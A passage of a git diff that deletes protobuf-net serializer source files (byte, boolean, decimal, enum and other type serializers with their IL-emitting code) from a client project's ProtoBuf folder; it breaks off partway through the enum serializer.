(packedWireType != WireType.None && source.WireType == WireType.String) - { - SubItemToken token = ProtoReader.StartSubItem(source); - while (ProtoReader.HasSubValue(packedWireType, source)) - { - list.Add(Tail.Read(null, source)); - } - ProtoReader.EndSubItem(token, source); - } - else - { - do - { - list.Add(Tail.Read(null, source)); - } while (source.TryReadFieldHeader(field)); - } - int oldLen = AppendToCollection ? ((value == null ? 0 : ((Array) value).Length)) : 0; - Array result = Array.CreateInstance(itemType, oldLen + list.Count); - if (oldLen != 0) ((Array) value).CopyTo(result, 0); - list.CopyTo(result, oldLen); - return result; - } -#endif - -#if FEAT_COMPILER - protected override void EmitRead(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - Type listType; -#if NO_GENERICS - listType = typeof(BasicList); -#else - listType = ctx.MapType(typeof(System.Collections.Generic.List<>)).MakeGenericType(itemType); -#endif - Type expected = ExpectedType; - using (Compiler.Local oldArr = AppendToCollection ? ctx.GetLocalWithValue(expected, valueFrom) : null) - using (Compiler.Local newArr = new Compiler.Local(ctx, expected)) - using (Compiler.Local list = new Compiler.Local(ctx, listType)) - { - ctx.EmitCtor(listType); - ctx.StoreValue(list); - ListDecorator.EmitReadList(ctx, list, Tail, listType.GetMethod("Add"), packedWireType, false); - - // leave this "using" here, as it can share the "FieldNumber" local with EmitReadList - using(Compiler.Local oldLen = AppendToCollection ? new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(int))) : null) { - Type[] copyToArrayInt32Args = new Type[] { ctx.MapType(typeof(Array)), ctx.MapType(typeof(int)) }; - - if (AppendToCollection) - { - ctx.LoadLength(oldArr, true); - ctx.CopyValue(); - ctx.StoreValue(oldLen); - - ctx.LoadAddress(list, listType); - ctx.LoadValue(listType.GetProperty("Count")); - ctx.Add(); - ctx.CreateArray(itemType, null); // length is on the stack - ctx.StoreValue(newArr); - - ctx.LoadValue(oldLen); - Compiler.CodeLabel nothingToCopy = ctx.DefineLabel(); - ctx.BranchIfFalse(nothingToCopy, true); - ctx.LoadValue(oldArr); - ctx.LoadValue(newArr); - ctx.LoadValue(0); // index in target - - ctx.EmitCall(expected.GetMethod("CopyTo", copyToArrayInt32Args)); - ctx.MarkLabel(nothingToCopy); - - ctx.LoadValue(list); - ctx.LoadValue(newArr); - ctx.LoadValue(oldLen); - - } - else - { - ctx.LoadAddress(list, listType); - ctx.LoadValue(listType.GetProperty("Count")); - ctx.CreateArray(itemType, null); - ctx.StoreValue(newArr); - - ctx.LoadAddress(list, listType); - ctx.LoadValue(newArr); - ctx.LoadValue(0); - } - - copyToArrayInt32Args[0] = expected; // // prefer: CopyTo(T[], int) - MethodInfo copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args); - if (copyTo == null) - { // fallback: CopyTo(Array, int) - copyToArrayInt32Args[1] = ctx.MapType(typeof(Array)); - copyTo = listType.GetMethod("CopyTo", copyToArrayInt32Args); - } - ctx.EmitCall(copyTo); - } - ctx.LoadValue(newArr); - } - - - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/BlobSerializer.cs b/Client/Core/ProtoBuf/Serializers/BlobSerializer.cs deleted file mode 100644 index 484837c6..00000000 --- a/Client/Core/ProtoBuf/Serializers/BlobSerializer.cs +++ /dev/null @@ -1,80 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_COMPILER -using System.Reflection.Emit; -#endif - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class BlobSerializer : IProtoSerializer - { - public Type ExpectedType - { - get { return expectedType; } - } - -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (byte[]); -#endif - - public BlobSerializer(ProtoBuf.Meta.TypeModel model, bool overwriteList) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(byte[])); -#endif - this.overwriteList = overwriteList; - } - - private readonly bool overwriteList; -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - return ProtoReader.AppendBytes(overwriteList ? null : (byte[]) value, source); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteBytes((byte[]) value, dest); - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return !overwriteList; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteBytes", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (overwriteList) - { - ctx.LoadNullRef(); - } - else - { - ctx.LoadValue(valueFrom); - } - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("AppendBytes")); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/BooleanSerializer.cs b/Client/Core/ProtoBuf/Serializers/BooleanSerializer.cs deleted file mode 100644 index 4922fd61..00000000 --- a/Client/Core/ProtoBuf/Serializers/BooleanSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class BooleanSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (bool); -#endif - - public BooleanSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(bool)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteBoolean((bool) value, dest); - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadBoolean(); - } -#endif - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteBoolean", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadBoolean", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ByteSerializer.cs b/Client/Core/ProtoBuf/Serializers/ByteSerializer.cs deleted file mode 100644 index eeb555b7..00000000 --- a/Client/Core/ProtoBuf/Serializers/ByteSerializer.cs +++ /dev/null @@ -1,66 +0,0 @@ -#if !NO_RUNTIME -using System; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ByteSerializer : IProtoSerializer - { - public Type ExpectedType - { - get { return expectedType; } - } - -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (byte); -#endif - - public ByteSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(byte)); -#endif - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteByte((byte) value, dest); - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadByte(); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteByte", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadByte", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/CharSerializer.cs b/Client/Core/ProtoBuf/Serializers/CharSerializer.cs deleted file mode 100644 index 6820957d..00000000 --- a/Client/Core/ProtoBuf/Serializers/CharSerializer.cs +++ /dev/null @@ -1,50 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class CharSerializer : UInt16Serializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (char); -#endif - - public CharSerializer(ProtoBuf.Meta.TypeModel model) : base(model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(char)); -#endif - } - - public override Type ExpectedType - { - get { return expectedType; } - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteUInt16((ushort) (char) value, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return (char) source.ReadUInt16(); - } -#endif - // no need for any special IL here; ushort and char are - // interchangeable as long as there is no boxing/unboxing - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/CompiledSerializer.cs b/Client/Core/ProtoBuf/Serializers/CompiledSerializer.cs deleted file mode 100644 index 4b7c0f09..00000000 --- a/Client/Core/ProtoBuf/Serializers/CompiledSerializer.cs +++ /dev/null @@ -1,79 +0,0 @@ - -#if FEAT_COMPILER && !(FX11 || FEAT_IKVM) -using System; -using ProtoBuf.Meta; - - - -namespace ProtoBuf.Serializers -{ - sealed class CompiledSerializer : IProtoTypeSerializer - { - bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) - { - return head.HasCallbacks(callbackType); // these routes only used when bits of the model not compiled - } - bool IProtoTypeSerializer.CanCreateInstance() - { - return head.CanCreateInstance(); - } - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - return head.CreateInstance(source); - } - public void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context) - { - head.Callback(value, callbackType, context); // these routes only used when bits of the model not compiled - } - public static CompiledSerializer Wrap(IProtoTypeSerializer head, TypeModel model) - { - CompiledSerializer result = head as CompiledSerializer; - if (result == null) - { - result = new CompiledSerializer(head, model); - Helpers.DebugAssert(((IProtoTypeSerializer)result).ExpectedType == head.ExpectedType); - } - return result; - } - private readonly IProtoTypeSerializer head; - private readonly Compiler.ProtoSerializer serializer; - private readonly Compiler.ProtoDeserializer deserializer; - private CompiledSerializer(IProtoTypeSerializer head, TypeModel model) - { - this.head = head; - serializer = Compiler.CompilerContext.BuildSerializer(head, model); - deserializer = Compiler.CompilerContext.BuildDeserializer(head, model); - } - bool IProtoSerializer.RequiresOldValue { get { return head.RequiresOldValue; } } - bool IProtoSerializer.ReturnsValue { get { return head.ReturnsValue; } } - - Type IProtoSerializer.ExpectedType { get { return head.ExpectedType; } } - - void IProtoSerializer.Write(object value, ProtoWriter dest) - { - serializer(value, dest); - } - object IProtoSerializer.Read(object value, ProtoReader source) - { - return deserializer(value, source); - } - - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - head.EmitWrite(ctx, valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - head.EmitRead(ctx, valueFrom); - } - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - head.EmitCallback(ctx, valueFrom, callbackType); - } - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) - { - head.EmitCreateInstance(ctx); - } - } -} -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/DateTimeSerializer.cs b/Client/Core/ProtoBuf/Serializers/DateTimeSerializer.cs deleted file mode 100644 index f0c259d1..00000000 --- a/Client/Core/ProtoBuf/Serializers/DateTimeSerializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DateTimeSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (DateTime); -#endif - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - - public DateTimeSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(DateTime)); -#endif - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadDateTime(source); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteDateTime((DateTime) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDateTime", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDateTime", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/DecimalSerializer.cs b/Client/Core/ProtoBuf/Serializers/DecimalSerializer.cs deleted file mode 100644 index b9d30761..00000000 --- a/Client/Core/ProtoBuf/Serializers/DecimalSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DecimalSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (decimal); -#endif - - public DecimalSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(decimal)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return BclHelpers.ReadDecimal(source); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteDecimal((decimal) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDecimal", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDecimal", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs b/Client/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs deleted file mode 100644 index 24302c57..00000000 --- a/Client/Core/ProtoBuf/Serializers/DefaultValueDecorator.cs +++ /dev/null @@ -1,281 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DefaultValueDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return Tail.ExpectedType; } - } - - public override bool RequiresOldValue - { - get { return Tail.RequiresOldValue; } - } - - public override bool ReturnsValue - { - get { return Tail.ReturnsValue; } - } - - private readonly object defaultValue; - - public DefaultValueDecorator(TypeModel model, object defaultValue, IProtoSerializer tail) : base(tail) - { - if (defaultValue == null) throw new ArgumentNullException("defaultValue"); - Type type = model.MapType(defaultValue.GetType()); - if (type != tail.ExpectedType -#if FEAT_IKVM // in IKVM, we'll have the default value as an underlying type - && !(tail.ExpectedType.IsEnum && type == tail.ExpectedType.GetEnumUnderlyingType()) -#endif - ) - { - throw new ArgumentException("Default value is of incorrect type", "defaultValue"); - } - this.defaultValue = defaultValue; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - if (!object.Equals(value, defaultValue)) - { - Tail.Write(value, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - return Tail.Read(value, source); - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Compiler.CodeLabel done = ctx.DefineLabel(); - if (valueFrom == null) - { - ctx.CopyValue(); // on the stack - Compiler.CodeLabel needToPop = ctx.DefineLabel(); - EmitBranchIfDefaultValue(ctx, needToPop); - Tail.EmitWrite(ctx, null); - ctx.Branch(done, true); - ctx.MarkLabel(needToPop); - ctx.DiscardValue(); - } - else - { - ctx.LoadValue(valueFrom); // variable/parameter - EmitBranchIfDefaultValue(ctx, done); - Tail.EmitWrite(ctx, valueFrom); - } - ctx.MarkLabel(done); - } - private void EmitBeq(Compiler.CompilerContext ctx, Compiler.CodeLabel label, Type type) - { - switch (Helpers.GetTypeCode(type)) - { - case ProtoTypeCode.Boolean: - case ProtoTypeCode.Byte: - case ProtoTypeCode.Char: - case ProtoTypeCode.Double: - case ProtoTypeCode.Int16: - case ProtoTypeCode.Int32: - case ProtoTypeCode.Int64: - case ProtoTypeCode.SByte: - case ProtoTypeCode.Single: - case ProtoTypeCode.UInt16: - case ProtoTypeCode.UInt32: - case ProtoTypeCode.UInt64: - ctx.BranchIfEqual(label, false); - break; - default: - MethodInfo method = type.GetMethod("op_Equality", BindingFlags.Public | BindingFlags.Static, - null, new Type[] { type, type}, null); - if (method == null || method.ReturnType != ctx.MapType(typeof(bool))) - { - throw new InvalidOperationException("No suitable equality operator found for default-values of type: " + type.FullName); - } - ctx.EmitCall(method); - ctx.BranchIfTrue(label, false); - break; - - } - } - private void EmitBranchIfDefaultValue(Compiler.CompilerContext ctx, Compiler.CodeLabel label) - { - Type expected = ExpectedType; - switch (Helpers.GetTypeCode(expected)) - { - case ProtoTypeCode.Boolean: - if ((bool)defaultValue) - { - ctx.BranchIfTrue(label, false); - } - else - { - ctx.BranchIfFalse(label, false); - } - break; - case ProtoTypeCode.Byte: - if ((byte)defaultValue == (byte)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(byte)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.SByte: - if ((sbyte)defaultValue == (sbyte)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(sbyte)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Int16: - if ((short)defaultValue == (short)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(short)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.UInt16: - if ((ushort)defaultValue == (ushort)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(ushort)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Int32: - if ((int)defaultValue == (int)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.UInt32: - if ((uint)defaultValue == (uint)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(uint)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Char: - if ((char)defaultValue == (char)0) - { - ctx.BranchIfFalse(label, false); - } - else - { - ctx.LoadValue((int)(char)defaultValue); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.Int64: - ctx.LoadValue((long)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.UInt64: - ctx.LoadValue((long)(ulong)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.Double: - ctx.LoadValue((double)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.Single: - ctx.LoadValue((float)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.String: - ctx.LoadValue((string)defaultValue); - EmitBeq(ctx, label, expected); - break; - case ProtoTypeCode.Decimal: - { - decimal d = (decimal)defaultValue; - ctx.LoadValue(d); - EmitBeq(ctx, label, expected); - } - break; - case ProtoTypeCode.TimeSpan: - { - TimeSpan ts = (TimeSpan)defaultValue; - if (ts == TimeSpan.Zero) - { - ctx.LoadValue(typeof(TimeSpan).GetField("Zero")); - } - else - { - ctx.LoadValue(ts.Ticks); - ctx.EmitCall(ctx.MapType(typeof(TimeSpan)).GetMethod("FromTicks")); - } - EmitBeq(ctx, label, expected); - break; - } - case ProtoTypeCode.Guid: - { - ctx.LoadValue((Guid)defaultValue); - EmitBeq(ctx, label, expected); - break; - } - case ProtoTypeCode.DateTime: - { -#if FX11 - ctx.LoadValue(((DateTime)defaultValue).ToFileTime()); - ctx.EmitCall(typeof(DateTime).GetMethod("FromFileTime")); -#else - ctx.LoadValue(((DateTime)defaultValue).ToBinary()); - ctx.EmitCall(ctx.MapType(typeof(DateTime)).GetMethod("FromBinary")); -#endif - - EmitBeq(ctx, label, expected); - break; - } - default: - throw new NotSupportedException("Type cannot be represented as a default value: " + expected.FullName); - } - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Tail.EmitRead(ctx, valueFrom); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/DoubleSerializer.cs b/Client/Core/ProtoBuf/Serializers/DoubleSerializer.cs deleted file mode 100644 index 3fce78ee..00000000 --- a/Client/Core/ProtoBuf/Serializers/DoubleSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class DoubleSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (double); -#endif - - public DoubleSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(double)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadDouble(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteDouble((double) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteDouble", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadDouble", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/EnumSerializer.cs b/Client/Core/ProtoBuf/Serializers/EnumSerializer.cs deleted file mode 100644 index 901d0c47..00000000 --- a/Client/Core/ProtoBuf/Serializers/EnumSerializer.cs +++ /dev/null @@ -1,310 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class EnumSerializer : IProtoSerializer - { - public struct EnumPair - { - public readonly object RawValue; // note that this is boxing, but I'll live with it -#if !FEAT_IKVM - public readonly Enum TypedValue; // note that this is boxing, but I'll live with it -#endif - public readonly int WireValue; - - public EnumPair(int wireValue, object raw, Type type) - { - WireValue = wireValue; - RawValue = raw; -#if !FEAT_IKVM - TypedValue = (Enum) Enum.ToObject(type, raw); -#endif - } - } - - private readonly Type enumType; - private readonly EnumPair[] map; - - public EnumSerializer(Type enumType, EnumPair[] map) - { - if (enumType == null) throw new ArgumentNullException("enumType"); - this.enumType = enumType; - this.map = map; - if (map != null) - { - for (int i = 1; i < map.Length; i++) - for (int j = 0; j < i; j++) - { - if (map[i].WireValue == map[j].WireValue && !Equals(map[i].RawValue, map[j].RawValue)) - { - throw new ProtoException("Multiple enums with wire-value " + map[i].WireValue.ToString()); - } - if (Equals(map[i].RawValue, map[j].RawValue) && map[i].WireValue != map[j].WireValue) - { - throw new ProtoException("Multiple enums with deserialized-value " + map[i].RawValue); - } - } - } - } - - private ProtoTypeCode GetTypeCode() - { - Type type = Helpers.GetUnderlyingType(enumType); - if (type == null) type = enumType; - return Helpers.GetTypeCode(type); - } - - - public Type ExpectedType - { - get { return enumType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - private int EnumToWire(object value) - { - unchecked - { - switch (GetTypeCode()) - { - // unbox then convert to int - case ProtoTypeCode.Byte: - return (int) (byte) value; - case ProtoTypeCode.SByte: - return (int) (sbyte) value; - case ProtoTypeCode.Int16: - return (int) (short) value; - case ProtoTypeCode.Int32: - return (int) value; - case ProtoTypeCode.Int64: - return (int) (long) value; - case ProtoTypeCode.UInt16: - return (int) (ushort) value; - case ProtoTypeCode.UInt32: - return (int) (uint) value; - case ProtoTypeCode.UInt64: - return (int) (ulong) value; - default: - throw new InvalidOperationException(); - } - } - } - - private object WireToEnum(int value) - { - unchecked - { - switch (GetTypeCode()) - { - // convert from int then box - case ProtoTypeCode.Byte: - return Enum.ToObject(enumType, (byte) value); - case ProtoTypeCode.SByte: - return Enum.ToObject(enumType, (sbyte) value); - case ProtoTypeCode.Int16: - return Enum.ToObject(enumType, (short) value); - case ProtoTypeCode.Int32: - return Enum.ToObject(enumType, value); - case ProtoTypeCode.Int64: - return Enum.ToObject(enumType, (long) value); - case ProtoTypeCode.UInt16: - return Enum.ToObject(enumType, (ushort) value); - case ProtoTypeCode.UInt32: - return Enum.ToObject(enumType, (uint) value); - case ProtoTypeCode.UInt64: - return Enum.ToObject(enumType, (ulong) value); - default: - throw new InvalidOperationException(); - } - } - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - int wireValue = source.ReadInt32(); - if (map == null) - { - return WireToEnum(wireValue); - } - for (int i = 0; i < map.Length; i++) - { - if (map[i].WireValue == wireValue) - { - return map[i].TypedValue; - } - } - source.ThrowEnumException(ExpectedType, wireValue); - return null; // to make compiler happy - } - - public void Write(object value, ProtoWriter dest) - { - if (map == null) - { - ProtoWriter.WriteInt32(EnumToWire(value), dest); - } - else - { - for (int i = 0; i < map.Length; i++) - { - if (object.Equals(map[i].TypedValue, value)) - { - ProtoWriter.WriteInt32(map[i].WireValue, dest); - return; - } - } - ProtoWriter.ThrowEnumException(dest, value); - } - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ProtoTypeCode typeCode = GetTypeCode(); - if (map == null) - { - ctx.LoadValue(valueFrom); - ctx.ConvertToInt32(typeCode, false); - ctx.EmitBasicWrite("WriteInt32", null); - } - else - { - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - Compiler.CodeLabel @continue = ctx.DefineLabel(); - for (int i = 0; i < map.Length; i++) - { - Compiler.CodeLabel tryNextValue = ctx.DefineLabel(), processThisValue = ctx.DefineLabel(); - ctx.LoadValue(loc); - WriteEnumValue(ctx, typeCode, map[i].RawValue); - ctx.BranchIfEqual(processThisValue, true); - ctx.Branch(tryNextValue, true); - ctx.MarkLabel(processThisValue); - ctx.LoadValue(map[i].WireValue); - ctx.EmitBasicWrite("WriteInt32", null); - ctx.Branch(@continue, false); - ctx.MarkLabel(tryNextValue); - } - ctx.LoadReaderWriter(); - ctx.LoadValue(loc); - ctx.CastToObject(ExpectedType); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("ThrowEnumException")); - ctx.MarkLabel(@continue); - } - } - - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ProtoTypeCode typeCode = GetTypeCode(); - if (map == null) - { - ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int))); - ctx.ConvertFromInt32(typeCode, false); - } - else - { - int[] wireValues = new int[map.Length]; - object[] values = new object[map.Length]; - for (int i = 0; i < map.Length; i++) - { - wireValues[i] = map[i].WireValue; - values[i] = map[i].RawValue; - } - using (Compiler.Local result = new Compiler.Local(ctx, ExpectedType)) - using (Compiler.Local wireValue = new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int))); - ctx.StoreValue(wireValue); - Compiler.CodeLabel @continue = ctx.DefineLabel(); - foreach (BasicList.Group group in BasicList.GetContiguousGroups(wireValues, values)) - { - Compiler.CodeLabel tryNextGroup = ctx.DefineLabel(); - int groupItemCount = group.Items.Count; - if (groupItemCount == 1) - { - // discreet group; use an equality test - ctx.LoadValue(wireValue); - ctx.LoadValue(group.First); - Compiler.CodeLabel processThisValue = ctx.DefineLabel(); - ctx.BranchIfEqual(processThisValue, true); - ctx.Branch(tryNextGroup, false); - WriteEnumValue(ctx, typeCode, processThisValue, @continue, group.Items[0], @result); - } - else - { - // implement as a jump-table-based 